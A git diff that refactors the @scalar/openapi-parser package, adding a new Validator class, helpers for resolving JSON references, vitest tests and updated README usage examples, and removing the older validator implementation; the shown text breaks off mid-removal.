diff --git a/.changeset/dry-drinks-bow.md b/.changeset/dry-drinks-bow.md
new file mode 100644
index 0000000..0b80dff
--- /dev/null
+++ b/.changeset/dry-drinks-bow.md
@@ -0,0 +1,5 @@
+---
+"@scalar/openapi-parser": patch
+---
+
+refactor: rewrite the whole package :)
diff --git a/README.md b/README.md
index 3fe7be7..03a88ae 100644
--- a/README.md
+++ b/README.md
@@ -26,10 +26,10 @@ npm add @scalar/openapi-parser
 
 ## Usage
 
-### Parse
+### Validate
 
 ```ts
-import { parse } from '@scalar/openapi-parser'
+import { validate } from '@scalar/openapi-parser'
 
 const file = `{
   "openapi": "3.1.0",
@@ -40,13 +40,19 @@ const file = `{
   "paths": {}
 }`
 
-const result = await parse(file)
+const result = await validate(file)
+
+console.log(result.valid)
+
+if (!result.valid) {
+  console.log(result.errors)
+}
 ```
 
-### Validate
+### Resolve references
 
 ```ts
-import { validate } from '@scalar/openapi-parser'
+import { resolve } from '@scalar/openapi-parser'
 
 const file = `{
   "openapi": "3.1.0",
@@ -57,13 +63,7 @@ const file = `{
   "paths": {}
 }`
 
-const result = await validate(file)
-
-console.log(result.valid)
-
-if (!result.valid) {
-  console.log(result.errors)
-}
+const result = await resolve(file)
 ```
 
 ## Community
diff --git a/packages/openapi-parser/README.md b/packages/openapi-parser/README.md
index e395991..80a2814 100644
--- a/packages/openapi-parser/README.md
+++ b/packages/openapi-parser/README.md
@@ -19,7 +19,7 @@ npm add @scalar/openapi-parser
 ### Parse
 
 ```ts
-import { parse } from '@scalar/openapi-parser'
+import { resolve } from '@scalar/openapi-parser'
 
 const file = `{
   "openapi": "3.1.0",
@@ -30,7 +30,7 @@ const file = `{
   "paths": {}
 }`
 
-const result = await parse(file)
+const result = await resolve(file)
 ```
 
 ### Validate
@@ -59,7 +59,7 @@ if (!result.valid) {
 ### Version
 
 ```ts
-import { parse } from '@scalar/openapi-parser'
+import { resolve } from '@scalar/openapi-parser'
 
 const file = `{
   "openapi": "3.1.0",
@@ -70,7 +70,7 @@ const file = `{
   "paths": {}
 }`
 
-const result = await parse(file)
+const result = await resolve(file)
 
 console.log(result.version)
 ```
diff --git a/packages/openapi-parser/index.html b/packages/openapi-parser/index.html
index 862382b..c6215eb 100644
--- a/packages/openapi-parser/index.html
+++ b/packages/openapi-parser/index.html
@@ -93,11 +93,11 @@
     </div>
 
     <script type="module">
-      import { parse } from './src/index.ts'
+      import { openapi } from './src/index.ts'
 
       // Initial parse
       const input = document.getElementById('input').value
-      const output = await parse(input)
+      const output = await openapi().load(input).upgrade().resolve()
       document.getElementById('output').innerHTML = JSON.stringify(
         output,
         null,
@@ -108,7 +108,8 @@
       document.getElementById('input').addEventListener('input', async (e) => {
         const input = e.target.value
         try {
-          const output = await parse(input)
+          const output = await openapi().load(input).upgrade().resolve()
+
           document.getElementById('output').innerHTML = JSON.stringify(
             output,
             null,
diff --git a/packages/openapi-parser/package.json b/packages/openapi-parser/package.json
index 756adc7..26b147c 100644
--- a/packages/openapi-parser/package.json
+++ b/packages/openapi-parser/package.json
@@ -36,12 +36,15 @@
     "test": "vitest"
   },
   "devDependencies": {
+    "@modyfi/vite-plugin-yaml": "^1.1.0",
     "@types/js-yaml": "^4.0.9",
     "vite-plugin-dts": "^3.7.3"
   },
   "dependencies": {
     "@humanwhocodes/momoa": "^3.0.1",
     "@types/node": "^20.11.19",
+    "@hyperjump/browser": "^1.1.3",
+    "@hyperjump/json-schema": "^1.7.2",
     "ajv": "^8.12.0",
     "ajv-draft-04": "^1.0.0",
     "ajv-formats": "^2.1.1",
@@ -51,6 +54,7 @@
     "jsonpointer": "^5.0.1",
     "leven": "^4.0.0",
     "openapi-types": "^12.1.3",
-    "vite": "^5.1.4"
+    "vite": "^5.1.4",
+    "yaml": "^2.3.4"
   }
 }
diff --git a/packages/openapi-parser/src/configuration.ts b/packages/openapi-parser/src/configuration.ts
new file mode 100644
index 0000000..67c7c03
--- /dev/null
+++ b/packages/openapi-parser/src/configuration.ts
@@ -0,0 +1,31 @@
+import Ajv04 from 'ajv-draft-04'
+import Ajv2020 from 'ajv/dist/2020'
+
+/**
+ * A list of the supported OpenAPI versions
+ */
+export const supportedVersions = ['2.0', '3.0', '3.1'] as const
+
+export type SupportedVersion = (typeof supportedVersions)[number]
+
+/**
+ * Configure available JSON Schema versions
+ */
+export const jsonSchemaVersions = {
+  'http://json-schema.org/draft-04/schema#': Ajv04,
+  'https://json-schema.org/draft/2020-12/schema': Ajv2020,
+}
+
+/**
+ * List of error messages used in the Validator
+ */
+export const ERRORS = {
+  EMPTY_OR_INVALID: 'Cannot find JSON, YAML or filename in data',
+  // URI_MUST_BE_STRING: 'uri parameter or $id attribute must be a string',
+  OPENAPI_VERSION_NOT_SUPPORTED:
+    'Cannot find supported Swagger/OpenAPI version in specification, version must be a string.',
+} as const
+
+export type VALIDATOR_ERROR = keyof typeof ERRORS
+
+export const inlinedRefs = 'x-inlined-refs'
diff --git a/packages/openapi-parser/src/index.ts b/packages/openapi-parser/src/index.ts
index f0ae166..cd2397c 100644
--- a/packages/openapi-parser/src/index.ts
+++ b/packages/openapi-parser/src/index.ts
@@ -1,3 +1,4 @@
 export * from './lib'
 export * from './types'
 export * from './utils'
+export * from './pipeline'
diff --git a/packages/openapi-parser/src/lib/Validator/Validator.test.ts b/packages/openapi-parser/src/lib/Validator/Validator.test.ts
new file mode 100644
index 0000000..c0fa7db
--- /dev/null
+++ b/packages/openapi-parser/src/lib/Validator/Validator.test.ts
@@ -0,0 +1,9 @@
+import { describe, expect, it } from 'vitest'
+
+import { Validator } from './Validator'
+
+describe('Validator', () => {
+  it('returns all supported versions', () => {
+    expect(Validator.supportedVersions).toMatchObject(['2.0', '3.0', '3.1'])
+  })
+})
diff --git a/packages/openapi-parser/src/lib/Validator/Validator.ts b/packages/openapi-parser/src/lib/Validator/Validator.ts
new file mode 100644
index 0000000..f78224b
--- /dev/null
+++ b/packages/openapi-parser/src/lib/Validator/Validator.ts
@@ -0,0 +1,151 @@
+import addFormats from 'ajv-formats'
+
+import {
+  ERRORS,
+  type SupportedVersion,
+  inlinedRefs,
+  jsonSchemaVersions,
+  supportedVersions,
+} from '../../configuration'
+import type { AnyObject, Filesystem, ValidateResult } from '../../types'
+import { details as getOpenApiVersion } from '../../utils'
+import { checkReferences } from './checkReferences'
+import { resolveReferences } from './resolveReferences'
+import { transformErrors } from './transformErrors'
+
+export class Validator {
+  public version: string
+
+  public static supportedVersions = supportedVersions
+
+  // Object with function *or* object { errors: string }
+  protected ajvValidators: Record<
+    string,
+    ((specification: AnyObject) => boolean) & {
+      errors: string
+    }
+  > = {}
+
+  protected externalRefs: Record<string, AnyObject> = {}
+
+  protected errors: string
+
+  protected specificationVersion: string
+
+  protected specificationType: string
+
+  public specification: AnyObject
+
+  resolveReferences(filesystem?: Filesystem) {
+    return resolveReferences(filesystem, true)
+  }
+
+  /**
+   * Checks whether a specification is valid and all references can be resolved.
+   */
+  async validate(filesystem: Filesystem): Promise<ValidateResult> {
+    const entrypoint = filesystem.find((file) => file.entrypoint)
+    const specification = entrypoint?.specification
+
+    // TODO: How does this work with a filesystem?
+    this.specification = specification
+
+    try {
+      // AnyObject is empty or invalid
+      if (specification === undefined || specification === null) {
+        return {
+          valid: false,
+          errors: transformErrors(entrypoint, ERRORS.EMPTY_OR_INVALID),
+        }
+      }
+
+      // TODO: Do we want to keep external references in the spec?
+      if (Object.keys(this.externalRefs).length > 0) {
+        specification[inlinedRefs] = this.externalRefs
+      }
+
+      // Meta data about the specification
+      const { version, specificationType, specificationVersion } =
+        getOpenApiVersion(specification)
+
+      this.version = version
+      this.specificationVersion = specificationVersion
+      this.specificationType = specificationType
+
+      // AnyObject is not supported
+      if (!version) {
+        return {
+          valid: false,
+          errors: transformErrors(
+            entrypoint,
+            ERRORS.OPENAPI_VERSION_NOT_SUPPORTED,
+          ),
+        }
+      }
+
+      // Get the correct OpenAPI validator
+      const validateSchema = await this.getAjvValidator(version)
+      const schemaResult = validateSchema(specification)
+
+      // Check if the references are valid
+      if (schemaResult) {
+        return checkReferences(filesystem)
+      }
+
+      // Error handling
+      if (validateSchema.errors) {
+        if (validateSchema.errors.length > 0) {
+          return {
+            valid: false,
+            errors: transformErrors(entrypoint, validateSchema.errors),
+          }
+        }
+      }
+
+      // Whoops … no errors? Actually, that should never happen.
+      return {
+        valid: false,
+      }
+    } catch (error) {
+      // Something went horribly wrong!
+      return {
+        valid: false,
+        errors: transformErrors(entrypoint, error.message ?? error),
+      }
+    }
+  }
+
+  /**
+   * Ajv JSON schema validator
+   */
+  async getAjvValidator(version: SupportedVersion) {
+    // Schema loaded already
+    if (this.ajvValidators[version]) {
+      return this.ajvValidators[version]
+    }
+
+    // Load OpenAPI Schema
+    const schema = await import(`../../../schemas/v${version}/schema.json`)
+
+    // Load JSON Schema
+    const AjvClass = jsonSchemaVersions[schema.$schema]
+
+    // Get the correct Ajv validator
+    const ajv = new AjvClass({
+      // Ajv is a bit too strict in its strict validation of OpenAPI schemas.
+      // Switch strict mode off.
+      strict: false,
+    })
+
+    // Register formats
+    // https://ajv.js.org/packages/ajv-formats.html#formats
+    addFormats(ajv)
+
+    // OpenAPI 3.1 uses media-range format
+    if (version === '3.1') {
+      ajv.addFormat('media-range', true)
+    }
+
+    return (this.ajvValidators[version] = ajv.compile(schema))
+  }
+}
diff --git a/packages/openapi-parser/src/lib/Validator/checkReferences.test.ts b/packages/openapi-parser/src/lib/Validator/checkReferences.test.ts
new file mode 100644
index 0000000..d414186
--- /dev/null
+++ b/packages/openapi-parser/src/lib/Validator/checkReferences.test.ts
@@ -0,0 +1,60 @@
+import { describe, expect, it } from 'vitest'
+
+import { makeFilesystem } from '../../utils/makeFilesystem'
+import { checkReferences } from './checkReferences'
+
+describe('checkReferences', () => {
+  it('returns true for a simple internal reference', () => {
+    const specification = `openapi: 3.1.0
+info:
+  title: Hello World
+  version: 2.0.0
+paths:
+
+  '/foobar':
+    post:
+      description: 'Example'
+      requestBody:
+        content:
+          application/json:
+            schema:
+              $ref: '#/components/schemas/Foobar'
+components:
+  schemas:
+    Foobar:
+      type: string
+      example: 'Hello World!'`
+
+    const result = checkReferences(makeFilesystem(specification))
+    expect(result.valid).toBe(true)
+    expect(result.errors).toBeUndefined()
+  })
+
+  it('returns false for a broken internal reference', () => {
+    const specification = `openapi: 3.1.0
+info:
+  title: Hello World
+  version: 2.0.0
+paths:
+
+  '/foobar':
+    post:
+      description: 'Example'
+      requestBody:
+        content:
+          application/json:
+            schema:
+              $ref: '#/components/schemas/Barfoo'
+components:
+  schemas:
+    Foobar:
+      type: string
+      example: 'Hello World!'`
+
+    const result = checkReferences(makeFilesystem(specification))
+
+    expect(result.valid).toBe(false)
+    expect(result.errors).not.toBeUndefined()
+    expect(result.errors.length).toBe(1)
+  })
+})
diff --git a/packages/openapi-parser/src/lib/Validator/checkReferences.ts b/packages/openapi-parser/src/lib/Validator/checkReferences.ts
new file mode 100644
index 0000000..1a127ed
--- /dev/null
+++ b/packages/openapi-parser/src/lib/Validator/checkReferences.ts
@@ -0,0 +1,20 @@
+import type { Filesystem } from '../../types'
+import { resolveReferences } from './resolveReferences'
+import { transformErrors } from './transformErrors'
+
+export function checkReferences(filesystem: Filesystem) {
+  const entrypoint = filesystem.find((file) => file.entrypoint === true)
+
+  try {
+    resolveReferences(filesystem, false)
+
+    return {
+      valid: true,
+    }
+  } catch (err) {
+    return {
+      valid: false,
+      errors: transformErrors(entrypoint, err.message),
+    }
+  }
+}
diff --git a/packages/openapi-parser/src/lib/Validator/escapeJsonPointer.test.ts b/packages/openapi-parser/src/lib/Validator/escapeJsonPointer.test.ts
new file mode 100644
index 0000000..532c6fc
--- /dev/null
+++ b/packages/openapi-parser/src/lib/Validator/escapeJsonPointer.test.ts
@@ -0,0 +1,5 @@
+import { describe, expect, it } from 'vitest'
+
+import { escapeJsonPointer } from './escapeJsonPointer'
+
+describe.todo('escapeJsonPointer', async () => {})
diff --git a/packages/openapi-parser/src/lib/Validator/escapeJsonPointer.ts b/packages/openapi-parser/src/lib/Validator/escapeJsonPointer.ts
new file mode 100644
index 0000000..e6bd81f
--- /dev/null
+++ b/packages/openapi-parser/src/lib/Validator/escapeJsonPointer.ts
@@ -0,0 +1,3 @@
+export function escapeJsonPointer(str: string) {
+  return str.replace(/~/g, '~0').replace(/\//g, '~1')
+}
diff --git a/packages/openapi-parser/src/lib/Validator/index.ts b/packages/openapi-parser/src/lib/Validator/index.ts
new file mode 100644
index 0000000..7e84245
--- /dev/null
+++ b/packages/openapi-parser/src/lib/Validator/index.ts
@@ -0,0 +1 @@
+export * from './Validator'
diff --git a/packages/openapi-parser/src/lib/Validator/isObject.test.ts b/packages/openapi-parser/src/lib/Validator/isObject.test.ts
new file mode 100644
index 0000000..4f14ece
--- /dev/null
+++ b/packages/openapi-parser/src/lib/Validator/isObject.test.ts
@@ -0,0 +1,27 @@
+import { describe, expect, it } from 'vitest'
+
+import { isObject } from './isObject'
+
+describe('isObject', () => {
+  it('returns true for an object', () => {
+    const result = isObject({
+      foo: 'bar',
+    })
+    expect(result).toBe(true)
+  })
+
+  it('returns true for an empty object', () => {
+    const result = isObject({})
+    expect(result).toBe(true)
+  })
+
+  it('returns false for a string', () => {
+    const result = isObject('foo')
+    expect(result).toBe(false)
+  })
+
+  it('returns false for an array', () => {
+    const result = isObject([])
+    expect(result).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/src/lib/Validator/isObject.ts b/packages/openapi-parser/src/lib/Validator/isObject.ts
new file mode 100644
index 0000000..c8cefcd
--- /dev/null
+++ b/packages/openapi-parser/src/lib/Validator/isObject.ts
@@ -0,0 +1,5 @@
+/**
+ * Check if the given value is an object
+ */
+export const isObject = (obj: any) =>
+  typeof obj === 'object' && !Array.isArray(obj) && obj !== null
diff --git a/packages/openapi-parser/src/lib/Validator/resolveFromFilesystem.test.ts b/packages/openapi-parser/src/lib/Validator/resolveFromFilesystem.test.ts
new file mode 100644
index 0000000..79a1369
--- /dev/null
+++ b/packages/openapi-parser/src/lib/Validator/resolveFromFilesystem.test.ts
@@ -0,0 +1,5 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolveFromFilesystem } from './resolveFromFilesystem'
+
+describe.todo('resolveFromFilesystem', () => {})
diff --git a/packages/openapi-parser/src/lib/Validator/resolveFromFilesystem.ts b/packages/openapi-parser/src/lib/Validator/resolveFromFilesystem.ts
new file mode 100644
index 0000000..0e78897
--- /dev/null
+++ b/packages/openapi-parser/src/lib/Validator/resolveFromFilesystem.ts
@@ -0,0 +1,29 @@
+// TODO: Not browser compatible, but we’re only using two of the simpler methods. Just need to polyfill them.
+import path from 'node:path'
+
+import type { Filesystem, FilesystemEntry } from '../../types'
+import { resolveReferences } from './resolveReferences'
+
+export function resolveFromFilesystem(
+  file: FilesystemEntry,
+  uri: string,
+  filesystem: Filesystem,
+) {
+  // TODO: We should check all references recursively
+  const sourceFile = file.filename
+  const sourcePath = path.dirname(sourceFile)
+  const reference = path.join(sourcePath, uri)
+  const transformedUri = reference.split('#')[0]
+  const pointer = reference.split('#')[1]
+
+  const referencedFile = filesystem.find(
+    (file) => file.filename === transformedUri,
+  )
+
+  // Couldn’t find the referenced file
+  if (!referencedFile) {
+    return undefined
+  }
+
+  return resolveReferences(filesystem, true, referencedFile, pointer)
+}
diff --git a/packages/openapi-parser/src/lib/Validator/resolveReferences.test.ts b/packages/openapi-parser/src/lib/Validator/resolveReferences.test.ts
new file mode 100644
index 0000000..4f743cc
--- /dev/null
+++ b/packages/openapi-parser/src/lib/Validator/resolveReferences.test.ts
@@ -0,0 +1,5 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolveReferences } from './resolveReferences'
+
+describe.todo('resolveReferences', () => {})
diff --git a/packages/openapi-parser/src/lib/Validator/resolveReferences.ts b/packages/openapi-parser/src/lib/Validator/resolveReferences.ts
new file mode 100644
index 0000000..2f3553c
--- /dev/null
+++ b/packages/openapi-parser/src/lib/Validator/resolveReferences.ts
@@ -0,0 +1,143 @@
+import type {
+  AnyObject,
+  Filesystem,
+  FilesystemEntry,
+  ResolvedOpenAPI,
+} from '../../types'
+import { escapeJsonPointer } from './escapeJsonPointer'
+import { isObject } from './isObject'
+import { resolveUri } from './resolveUri'
+import { unescapeJsonPointer } from './unescapeJsonPointer'
+
+const pointerWords = new Set([
+  '$ref',
+  '$id',
+  '$anchor',
+  '$dynamicRef',
+  '$dynamicAnchor',
+  '$schema',
+])
+
+export function resolveReferences(
+  filesystem: Filesystem,
+  replaceReferences: boolean = true,
+  entrypoint?: FilesystemEntry,
+  pointer?: string,
+) {
+  entrypoint = entrypoint ?? filesystem.find((file) => file.entrypoint)
+
+  let { specification } = entrypoint
+
+  if (!isObject(specification)) {
+    return undefined
+  }
+
+  if (replaceReferences === false) {
+    specification = structuredClone(specification)
+  }
+
+  const pointers: {
+    [key: string]: {
+      ref: string
+      obj: AnyObject | string
+      prop: string
+      path: string
+      id: string
+    }[]
+  } = {}
+  for (const word of pointerWords) {
+    pointers[word] = []
+  }
+
+  function applyRef(path: string, target: AnyObject) {
+    let root = specification
+    const paths = path.split('/').slice(1)
+    const prop = paths.pop()
+
+    for (const p of paths) {
+      root = root[unescapeJsonPointer(p)]
+    }
+
+    if (typeof prop !== 'undefined') {
+      root[unescapeJsonPointer(prop)] = target
+    } else {
+      specification = target
+    }
+  }
+
+  function parse(obj: AnyObject, path: string, id: string) {
+    if (!isObject(obj)) {
+      return
+    }
+
+    const objId = obj.$id || id
+
+    for (const prop in obj) {
+      if (pointerWords.has(prop)) {
+        pointers[prop].push({ ref: obj[prop], obj, prop, path, id: objId })
+        delete obj[prop]
+      }
+
+      parse(obj[prop], `${path}/${escapeJsonPointer(prop)}`, objId)
+    }
+  }
+
+  // Find all refs
+  parse(specification, '#', '')
+
+  // Resolve them all
+  const anchors = { '': specification }
+  const dynamicAnchors = {}
+
+  for (const item of pointers.$id) {
+    const { ref, obj, path, id } = item
+
+    if (anchors[ref]) {
+      throw new Error(`$id: '${ref}' defined more than once at ${path}`)
+    }
+
+    anchors[ref] = obj
+  }
+
+  for (const item of pointers.$anchor) {
+    const { ref, obj, path, id } = item
+    const fullRef = `${id}#${ref}`
+
+    if (anchors[fullRef]) {
+      throw new Error(`$anchor: '${ref}' defined more than once at '${path}'`)
+    }
+
+    anchors[fullRef] = obj
+  }
+
+  for (const item of pointers.$dynamicAnchor) {
+    const { ref, obj, path } = item
+
+    if (dynamicAnchors[`#${ref}`]) {
+      throw new Error(
+        `$dynamicAnchor: '${ref}' defined more than once at '${path}'`,
+      )
+    }
+
+    dynamicAnchors[`#${ref}`] = obj
+  }
+
+  for (const item of pointers.$ref) {
+    const { ref, id, path } = item
+    const decodedRef = decodeURIComponent(ref)
+    const fullRef = decodedRef[0] !== '#' ? decodedRef : `${id}${decodedRef}`
+    applyRef(path, resolveUri(entrypoint, fullRef, anchors, filesystem))
+  }
+
+  for (const item of pointers.$dynamicRef) {
+    const { ref, path } = item
+
+    if (!dynamicAnchors[ref]) {
+      throw new Error(`Can't resolve $dynamicAnchor: '${ref}'`)
+    }
+
+    applyRef(path, dynamicAnchors[ref])
+  }
+
+  return specification as ResolvedOpenAPI.Document
+}
diff --git a/packages/openapi-parser/src/lib/Validator/resolveUri.test.ts b/packages/openapi-parser/src/lib/Validator/resolveUri.test.ts
new file mode 100644
index 0000000..bba0571
--- /dev/null
+++ b/packages/openapi-parser/src/lib/Validator/resolveUri.test.ts
@@ -0,0 +1,23 @@
+import { describe, expect, it } from 'vitest'
+
+import { loadFiles, validate } from '../../../src'
+import { relativePath } from '../../../tests/utils'
+
+const EXAMPLE_FILE = relativePath(
+  import.meta.url,
+  '../../tests/resolveUris/invalid/openapi.yaml',
+)
+
+describe('resolveUris', async () => {
+  it('returns an error when a reference file can not be found', async () => {
+    const filesystem = loadFiles(EXAMPLE_FILE)
+
+    const result = await validate(filesystem)
+
+    expect(result.valid).toBe(false)
+    expect(result.errors.length).toBe(1)
+    expect(result.errors[0].error).toBe(
+      `Can't resolve schemas/does-not-exist.yaml`,
+    )
+  })
+})
diff --git a/packages/openapi-parser/src/lib/Validator/resolveUri.ts b/packages/openapi-parser/src/lib/Validator/resolveUri.ts
new file mode 100644
index 0000000..9992abf
--- /dev/null
+++ b/packages/openapi-parser/src/lib/Validator/resolveUri.ts
@@ -0,0 +1,63 @@
+import { unescapeJsonPointer } from 'ajv/dist/compile/util'
+
+import type { AnyObject, Filesystem, FilesystemEntry } from '../../types'
+import { resolveFromFilesystem } from './resolveFromFilesystem'
+
+export function resolveUri(
+  file: FilesystemEntry,
+  uri: string,
+  anchors: AnyObject,
+  filesystem?: Filesystem,
+) {
+  const [prefix, path] = uri.split('#', 2)
+
+  const hashPresent = !!path
+
+  const err = new Error(`Can't resolve ${uri}`)
+
+  if (hashPresent && path[0] !== '/') {
+    if (anchors[uri]) {
+      return anchors[uri]
+    }
+
+    throw err
+  }
+
+  // File reference
+  if (!anchors[prefix]) {
+    const resolvedReference = resolveFromFilesystem(file, uri, filesystem)
+
+    if (resolvedReference === undefined) {
+      throw err
+    }
+
+    return resolvedReference
+  }
+
+  if (!hashPresent) {
+    return anchors[prefix]
+  }
+
+  const paths = path
+    // replace + with space
+    .split('+')
+    .join(' ')
+    // remove first part of the path
+    .split('/')
+    .slice(1)
+
+  try {
+    const result = paths.reduce(
+      (o, n) => o[unescapeJsonPointer(n)],
+      anchors[prefix],
+    )
+
+    if (result === undefined) {
+      throw ''
+    }
+
+    return result
+  } catch {
+    throw err
+  }
+}
diff --git a/packages/openapi-parser/src/lib/Validator/transformErrors.test.ts b/packages/openapi-parser/src/lib/Validator/transformErrors.test.ts
new file mode 100644
index 0000000..c604f65
--- /dev/null
+++ b/packages/openapi-parser/src/lib/Validator/transformErrors.test.ts
@@ -0,0 +1,25 @@
+import { describe, expect, it } from 'vitest'
+
+import { makeFilesystem } from '../../utils/makeFilesystem'
+import { transformErrors } from './transformErrors'
+
+describe('transformErrors', () => {
+  it('transforms a string to a proper error object', () => {
+    const result = transformErrors(
+      makeFilesystem('').find((entrypoint) => entrypoint.entrypoint),
+      'example error message',
+    )
+
+    expect(result).toEqual([
+      {
+        error: 'example error message',
+        path: '',
+        start: {
+          column: 1,
+          line: 1,
+          offset: 0,
+        },
+      },
+    ])
+  })
+})
diff --git a/packages/openapi-parser/src/lib/Validator/transformErrors.ts b/packages/openapi-parser/src/lib/Validator/transformErrors.ts
new file mode 100644
index 0000000..9d1770d
--- /dev/null
+++ b/packages/openapi-parser/src/lib/Validator/transformErrors.ts
@@ -0,0 +1,33 @@
+import type { FilesystemEntry } from '../../types'
+import { betterAjvErrors } from '../../utils/betterAjvErrors'
+
+/**
+ * Transforms ajv errors, finds the positions in the schema and returns an enriched format.
+ */
+export function transformErrors(entrypoint: FilesystemEntry, errors: any) {
+  // TODO: This should work with multiple files
+
+  if (typeof errors === 'string') {
+    return [
+      {
+        start: {
+          line: 1,
+          column: 1,
+          offset: 0,
+        },
+        error: errors,
+        path: '',
+      },
+    ]
+  }
+
+  return betterAjvErrors(entrypoint.specification, null, errors, {
+    format: 'js',
+    indent: 2,
+    colorize: false,
+  }).map((error) => {
+    error.error = error.error.trim()
+
+    return error
+  })
+}
diff --git a/packages/openapi-parser/src/lib/Validator/unescapeJsonPointer.test.ts b/packages/openapi-parser/src/lib/Validator/unescapeJsonPointer.test.ts
new file mode 100644
index 0000000..a521354
--- /dev/null
+++ b/packages/openapi-parser/src/lib/Validator/unescapeJsonPointer.test.ts
@@ -0,0 +1,5 @@
+import { describe, expect, it } from 'vitest'
+
+import { unescapeJsonPointer } from './unescapeJsonPointer'
+
+describe.todo('unescapeJsonPointer', async () => {})
diff --git a/packages/openapi-parser/src/lib/Validator/unescapeJsonPointer.ts b/packages/openapi-parser/src/lib/Validator/unescapeJsonPointer.ts
new file mode 100644
index 0000000..5a9a01c
--- /dev/null
+++ b/packages/openapi-parser/src/lib/Validator/unescapeJsonPointer.ts
@@ -0,0 +1,3 @@
+export function unescapeJsonPointer(str: string) {
+  return str.replace(/~1/g, '/').replace(/~0/g, '~')
+}
diff --git a/packages/openapi-parser/src/lib/index.ts b/packages/openapi-parser/src/lib/index.ts
index 0d1f4fb..7e84245 100644
--- a/packages/openapi-parser/src/lib/index.ts
+++ b/packages/openapi-parser/src/lib/index.ts
@@ -1,261 +1 @@
-import Ajv04 from 'ajv-draft-04'
-import addFormats from 'ajv-formats'
-import Ajv2020 from 'ajv/dist/2020'
-import { JSON_SCHEMA, load } from 'js-yaml'
-
-import type {
-  AjvOptions,
-  Specification,
-  ValidateOptions,
-  ValidateResult,
-} from '../types'
-import betterAjvErrors from '../utils/betterAjvErrors'
-import { checkRefs, replaceRefs } from './resolve'
-
-const supportedVersions = new Set(['2.0', '3.0', '3.1'])
-
-const jsonSchemaVersions = {
-  'http://json-schema.org/draft-04/schema#': Ajv04,
-  'https://json-schema.org/draft/2020-12/schema': Ajv2020,
-}
-
-const yamlOptions = {
-  schema: JSON_SCHEMA,
-}
-
-const ERRORS = {
-  EMPTY_OR_INVALID: 'Cannot find JSON, YAML or filename in data',
-  URI_MUST_BE_STRING: 'uri parameter or $id attribute must be a string',
-  OPENAPI_VERSION_NOT_SUPPORTED:
-    'Cannot find supported Swagger/OpenAPI version in specification, version must be a string.',
-}
-
-const inlinedRefs = 'x-inlined-refs'
-
-function makeErrorArray(message: string) {
-  return [
-    {
-      start: {
-        line: 1,
-        column: 1,
-        offset: 0,
-      },
-      error: message,
-      path: '',
-    },
-  ]
-}
-
-function getOpenApiVersion(specification: Specification) {
-  for (const version of supportedVersions) {
-    const specificationType = version === '2.0' ? 'swagger' : 'openapi'
-    const value = specification[specificationType]
-
-    if (typeof value === 'string' && value.startsWith(version)) {
-      return {
-        version,
-        specificationType,
-        specificationVersion: value,
-      }
-    }
-  }
-
-  return {
-    version: undefined,
-    specificationType: undefined,
-    specificationVersion: undefined,
-  }
-}
-
-async function getSpecFromData(
-  data: string | object,
-): Promise<Specification | undefined> {
-  if (typeof data === 'object') {
-    return data
-  }
-
-  if (typeof data === 'string') {
-    if (data.match(/\n/)) {
-      try {
-        // YAML
-        return load(data, yamlOptions)
-      } catch {
-        return undefined
-      }
-    }
-
-    try {
-      // Browser
-      if (typeof window !== 'undefined') {
-        return undefined
-      }
-
-      // Node.js
-      const { readFile } = await import('fs/promises')
-      const fileData = await readFile(data, 'utf-8')
-
-      return load(fileData, yamlOptions)
-    } catch {
-      return undefined
-    }
-  }
-
-  return undefined
-}
-
-export class Validator {
-  protected ajvOptions: AjvOptions
-
-  // Object with function or object { errors: string }
-  protected ajvValidators: Record<
-    string,
-    ((specification: Specification) => boolean) & {
-      errors: string
-    }
-  >
-
-  protected externalRefs: Record<string, Specification>
-
-  protected specification: Specification
-
-  public version: string
-
-  protected errors: string
-
-  protected specificationVersion: string
-
-  protected specificationType: string
-
-  constructor(ajvOptions: AjvOptions = {}) {
-    // AJV is a bit too strict in its strict validation of OpenAPI schemas
-    // so switch strict mode and validateFormats off
-    if (ajvOptions.strict !== 'log') {
-      ajvOptions.strict = false
-    }
-
-    this.ajvOptions = ajvOptions
-    this.ajvValidators = {}
-    this.externalRefs = {}
-  }
-
-  static supportedVersions = supportedVersions
-
-  resolveRefs(opts: { specification?: Specification } = {}) {
-    return replaceRefs(this.specification || opts.specification)
-  }
-
-  async addSpecRef(data: string | object, uri: string) {
-    const spec = await getSpecFromData(data)
-
-    if (spec === undefined) {
-      throw new Error(ERRORS.EMPTY_OR_INVALID)
-    }
-
-    const newUri = uri || spec.$id
-
-    if (typeof newUri !== 'string') {
-      throw new Error(ERRORS.URI_MUST_BE_STRING)
-    }
-
-    spec.$id = newUri
-
-    this.externalRefs[newUri] = spec
-  }
-
-  async validate(
-    data: string | object,
-    options?: ValidateOptions,
-  ): Promise<ValidateResult> {
-    try {
-      const specification = await getSpecFromData(data)
-
-      this.specification = specification
-
-      if (specification === undefined || specification === null) {
-        return {
-          valid: false,
-          errors: makeErrorArray(ERRORS.EMPTY_OR_INVALID),
-        }
-      }
-
-      if (Object.keys(this.externalRefs).length > 0) {
-        specification[inlinedRefs] = this.externalRefs
-      }
-
-      const { version, specificationType, specificationVersion } =
-        getOpenApiVersion(specification)
-
-      this.version = version
-      this.specificationVersion = specificationVersion
-      this.specificationType = specificationType
-
-      if (!version) {
-        return {
-          valid: false,
-          errors: makeErrorArray(ERRORS.OPENAPI_VERSION_NOT_SUPPORTED),
-        }
-      }
-
-      const validateSchema = await this.getAjvValidator(version)
-
-      // Check if the specification matches the JSON schema
-      const schemaResult = validateSchema(specification)
-
-      // Check if the references are valid as those can’t be validated bu JSON schema
-      if (schemaResult) {
-        return checkRefs(specification)
-      }
-
-      const result: ValidateResult = {
-        valid: schemaResult,
-      }
-
-      if (validateSchema.errors) {
-        let errors = []
-
-        if (typeof validateSchema.errors === 'string') {
-          errors = makeErrorArray(validateSchema.errors)
-        } else {
-          errors = validateSchema.errors
-        }
-
-        if (errors.length > 0) {
-          result.errors = betterAjvErrors(schemaResult, {}, errors, {
-            format: options?.format ?? 'js',
-            indent: options?.indent ?? 2,
-            colorize: false,
-          })
-        }
-      }
-
-      return result
-    } catch (error) {
-      return {
-        valid: false,
-        errors: makeErrorArray(error.message ?? error),
-      }
-    }
-  }
-
-  async getAjvValidator(version: string) {
-    // Schema loaded already
-    if (this.ajvValidators[version]) {
-      return this.ajvValidators[version]
-    }
-
-    // Load Schema
-    const schema = await import(`../../schemas/v${version}/schema.json`)
-    const schemaVersion = schema.$schema
-    const AjvClass = jsonSchemaVersions[schemaVersion]
-    const ajv = new AjvClass(this.ajvOptions)
-
